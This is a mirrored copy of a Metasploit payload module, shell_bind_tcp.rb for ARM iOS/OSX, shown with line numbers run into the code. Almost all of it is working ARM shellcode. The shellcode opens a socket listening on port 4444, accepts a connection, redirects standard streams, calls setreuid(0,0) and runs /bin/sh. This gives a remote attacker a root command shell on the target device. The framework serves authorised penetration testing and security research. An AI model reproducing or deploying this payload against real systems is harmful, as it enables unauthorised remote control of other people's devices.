Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/osx/armle/shell_bind_tcp.rb
Views: 11779
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = 200910include Msf::Payload::Single11include Msf::Payload::Osx12include Msf::Sessions::CommandShellOptions1314def initialize(info = {})15super(merge_info(info,16'Name' => 'Apple iOS Command Shell, Bind TCP Inline',17'Description' => 'Listen for a connection and spawn a command shell',18'Author' => 'hdm',19'License' => MSF_LICENSE,20'Platform' => 'osx',21'Arch' => ARCH_ARMLE,22'Handler' => Msf::Handler::BindTcp,23'Session' => Msf::Sessions::CommandShellUnix,24'Payload' =>25{26'Offsets' =>27{28'LPORT' => [ 30, 'n' ],29},30'Payload' =>31[32# socket330xe3a00002, # mov r0, #0x2340xe3a01001, # mov r1, #0x1350xe3a02006, # mov r2, #0x6360xe3a0c061, # mov r12, #0x61370xef000080, # swi 128380xe1a0a000, # mov r10, r0390xeb000001, # bl _bind4041# port 4444420x5c110200,430x00000000,4445# bind460xe1a0000a, # mov r0, r10470xe1a0100e, # mov r1, lr480xe3a02010, # mov r2, #0x10490xe3a0c068, # mov r12, #0x68500xef000080, # swi 1285152# listen530xe1a0000a, # mov r0, r10540xe3a01001, # mov r1, #0x1550xe3a0c06a, # mov r12, #0x6a560xef000080, # swi 1285758# accept590xe3a0c01e, # mov r12, #0x1e600xe1a0000a, # mov r0, r10610xe3a01010, # mov r1, #0x10620xe50d1018, # str r1, [sp, #-24]630xe24d2010, # sub r2, sp, #0x10640xe24d3018, # sub r3, sp, #0x18650xef000080, # swi 128660xe1a0b000, # mov r11, r06768# setup dup2690xe3a05002, # mov r5, #0x27071# dup2720xe3a0c05a, # mov r12, #0x5a730xe1a0000b, # mov r0, r11740xe1a01005, # mov r1, r5750xef000080, # swi 128760xe2455001, # sub r5, r5, #0x1770xe3550000, # cmp r5, #0x0780xaafffff8, # bge _dup27980# setreuid(0,0)810xe3a00000, # mov r0, #0x0820xe3a01000, # mov r1, #0x0830xe3a0c07e, # mov r12, #0x7e840xef000080, # swi 1288586# execve870xe0455005, # sub r5, r5, r5880xe1a0600d, # mov r6, sp890xe24dd020, # sub sp, sp, #0x20900xe28f0014, # add r0, pc, #0x14910xe4860000, # str r0, [r6], #0920xe5865004, # str r5, [r6, #4]930xe1a01006, # mov r1, r6940xe3a02000, # mov r2, #0x0950xe3a0c03b, # mov r12, #0x3b960xef000080, # swi 1289798# /bin/sh990x6e69622f,1000x0068732f101].pack("V*")102}103))104end105end106107108